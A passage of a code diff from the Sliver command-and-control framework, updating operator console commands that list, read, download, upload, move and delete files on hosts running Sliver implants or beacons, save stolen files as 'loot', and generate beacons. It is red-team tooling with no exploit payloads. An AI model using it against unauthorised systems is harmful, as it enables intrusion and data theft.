encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+77
View File
@@ -0,0 +1,77 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsRemoveCmd - Remove an extension
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveExtensionByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing extension: %s\n", err)
return
} else {
con.PrintInfof("Extension '%s' removed\n", name)
}
}
// RemoveExtensionByCommandName - Remove an extension by command name
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedExtensions[commandName]; !ok {
return errors.New("extension not loaded")
}
delete(loadedExtensions, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
forceRemoveAll(extPath)
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
+56 -12
View File
@@ -27,17 +27,20 @@ import (
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -47,19 +50,68 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
}
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
lootDownload bool = true
err error
)
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
}
}
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
return
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
if ctx.Flags.Bool("colorize-output") {
@@ -73,14 +125,6 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(clearln + Info + "Output saved as loot\n")
// }
// }
}
func colorize(f *sliverpb.Download) error {
+18 -4
View File
@@ -22,26 +22,40 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("path")
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
+167 -48
View File
@@ -24,51 +24,36 @@ import (
"os"
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
recurse := ctx.Flags.Bool("recurse")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
Recurse: recurse,
})
ctrl <- true
<-ctrl
@@ -76,33 +61,167 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleDownloadResponse(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
HandleDownloadResponse(download, ctx, con)
}
}
func prettifyDownloadName(path string) string {
nonAlphaNumericRegex, err := regexp.Compile("[^a-zA-Z0-9]+")
if err != nil {
// Well, we tried.
return path
}
pathNoSeparators := strings.ReplaceAll(path, "\\", "_")
pathNoSeparators = strings.ReplaceAll(pathNoSeparators, "/", "_")
filteredString := nonAlphaNumericRegex.ReplaceAllString(pathNoSeparators, "_")
// Collapse multiple underscores into one
multipleUnderscoreRegex, err := regexp.Compile("_{2,}")
if err != nil {
return filteredString
}
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off
if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString
}
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
remotePath := ctx.Args.String("remote-path")
localPath := ctx.Args.String("local-path")
saveLoot := ctx.Flags.Bool("loot")
if download.ReadFiles == 0 {
// No files downloaded successfully.
con.PrintErrorf("No files downloaded from the implant - check permissions, path, and / or filters.\n")
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
// if err != nil {
// con.PrintErrorf("Failed to save output as loot: %s", err)
// } else {
// fmt.Printf(Info + "Output saved as loot\n")
// }
// }
if saveLoot {
lootName := ctx.Flags.String("name")
lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Hand off to the loot package to take care of looting
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
fileName := filepath.Base(remotePath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
if download.IsDir {
// Come up with a good file name - filters might make the filename ugly
session, beacon := con.ActiveTarget.Get()
implantName := ""
if session != nil {
implantName = session.Name
} else if beacon != nil {
implantName = beacon.Name
}
fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
}
if runtime.GOOS == "windows" {
// Windows has a file path length of 260 characters
// +1 for the path separator before the file name
if len(dst)+len(fileName)+1 > 260 {
// Make an effort to shorten the file name. If this does not work, the operator will have to find somewhere else to put the file
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") && !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
survey.AskOne(prompt, &overwrite, nil)
if !overwrite {
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
return
}
defer dstFile.Close()
n, err := dstFile.Write(download.Data)
if err != nil {
con.PrintErrorf("Failed to write data %v\n", err)
} else {
var readFilesText string
var unreadFilesText string
if download.ReadFiles == 1 {
readFilesText = "file"
} else {
readFilesText = "files"
}
if download.UnreadableFiles == 1 {
unreadFilesText = "file"
} else {
unreadFilesText = "files"
}
con.PrintInfof("Wrote %d bytes (%d %s successfully, %d %s unsuccessfully) to %s\n",
n,
download.ReadFiles,
readFilesText,
download.UnreadableFiles,
unreadFilesText,
dstFile.Name())
}
}
}
+43 -64
View File
@@ -22,82 +22,76 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if ls.Response != nil && ls.Response.Async {
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ls)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintLs(ls, ctx.Flags, con)
})
con.PrintAsyncResponse(ls.Response)
} else {
PrintLs(ls, con, ctx.Flags, filter)
PrintLs(ls, ctx.Flags, con)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err)
return
}
// Generate metadata to print with the path
numberOfFiles := len(ls.Files)
var totalSize int64 = 0
var pathInfo string
for _, fileInfo := range ls.Files {
totalSize += fileInfo.Size
}
if numberOfFiles == 1 {
pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
} else {
pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
}
con.Printf("%s\n", pathInfo)
con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
@@ -151,29 +145,14 @@ func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.Fl
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else if fileInfo.Link != "" {
fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
+27 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,12 +44,33 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if mkdir.Response != nil && mkdir.Response.Async {
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mkdir)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMkdir(mkdir, con)
})
con.PrintAsyncResponse(mkdir.Response)
} else {
con.PrintInfof("%s\n", mkdir.Path)
PrintMkdir(mkdir, con)
}
}
// PrintMkdir - Print make directory
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
if mkdir.Response != nil && mkdir.Response.Err != "" {
con.PrintErrorf("%s\n", mkdir.Response.Err)
return
}
con.PrintInfof("%s\n", mkdir.Path)
}
+84
View File
@@ -0,0 +1,84 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
src := ctx.Args.String("src")
if src == "" {
con.PrintErrorf("Missing parameter: src\n")
return
}
dst := ctx.Args.String("dst")
if dst == "" {
con.PrintErrorf("Missing parameter: dst\n")
return
}
mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
Request: con.ActiveTarget.Request(ctx),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
mv.Src, mv.Dst = src, dst
if mv.Response != nil && mv.Response.Async {
con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(mv.Response)
} else {
PrintMv(mv, con)
}
return
}
// PrintMv - Print the renamed file
func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
if mv.Response != nil && mv.Response.Err != "" {
con.PrintErrorf("%s\n", mv.Response.Err)
return
}
con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
}
+27 -5
View File
@@ -22,24 +22,46 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pwd.Response != nil && pwd.Response.Async {
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, pwd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPwd(pwd, con)
})
con.PrintAsyncResponse(pwd.Response)
} else {
con.PrintInfof("%s\n", pwd.Path)
PrintPwd(pwd, con)
}
}
// PrintPwd - Print the remote working directory
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
if pwd.Response != nil && pwd.Response.Err != "" {
con.PrintErrorf("%s\n", pwd.Response.Err)
return
}
con.PrintInfof("%s\n", pwd.Path)
}
+27 -4
View File
@@ -22,15 +22,17 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,14 +44,35 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
Recursive: ctx.Flags.Bool("recursive"),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if rm.Response != nil && rm.Response.Async {
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, rm)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRm(rm, con)
})
con.PrintAsyncResponse(rm.Response)
} else {
con.PrintInfof("%s\n", rm.Path)
PrintRm(rm, con)
}
}
// PrintRm - Print the rm response
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
if rm.Response != nil && rm.Response.Err != "" {
con.PrintErrorf("%s\n", rm.Response.Err)
return
}
con.PrintInfof("%s\n", rm.Path)
}
+31 -4
View File
@@ -26,16 +26,18 @@ import (
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -62,12 +64,16 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
@@ -77,7 +83,28 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if upload.Response != nil && upload.Response.Async {
con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, upload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintUpload(upload, con)
})
con.PrintAsyncResponse(upload.Response)
} else {
con.PrintInfof("Wrote file to %s\n", upload.Path)
PrintUpload(upload, con)
}
}
// PrintUpload - Print the result of the upload command
func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
if upload.Response != nil && upload.Response.Err != "" {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
}
+31 -43
View File
@@ -1,16 +1,15 @@
package generate
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CanariesCmd - Display canaries from the database and their status
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if 0 < len(canaries.Canaries) {
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
} else {
con.PrintInfof("No canaries in database\n")
}
}
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Sliver Name")),
strings.Repeat("=", len("Domain")),
strings.Repeat("=", len("Triggered")),
strings.Repeat("=", len("First Trigger")),
strings.Repeat("=", len("Latest Trigger")),
)
lineColors := []string{}
// PrintCanaries - Print the canaries tracked by the server
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Sliver Name",
"Domain",
"Triggered",
"First Trigger",
"Latest Trigger",
})
for _, canary := range canaries {
if burnedOnly && !canary.Triggered {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
canary.ImplantName,
canary.Domain,
fmt.Sprintf("%v", canary.Triggered),
canary.FirstTriggered,
canary.LatestTrigger,
)
lineColor := console.Normal
if canary.Triggered {
lineColors = append(lineColors, console.Bold+console.Red)
} else {
lineColors = append(lineColors, console.Normal)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
lineColor = console.Bold + console.Red
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
firstTrigger,
latestTrigger,
}
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
@@ -0,0 +1,58 @@
package generate
import (
"fmt"
"os"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
var (
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
return
}
config.IsBeacon = true
err := parseBeaconFlags(ctx, con, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
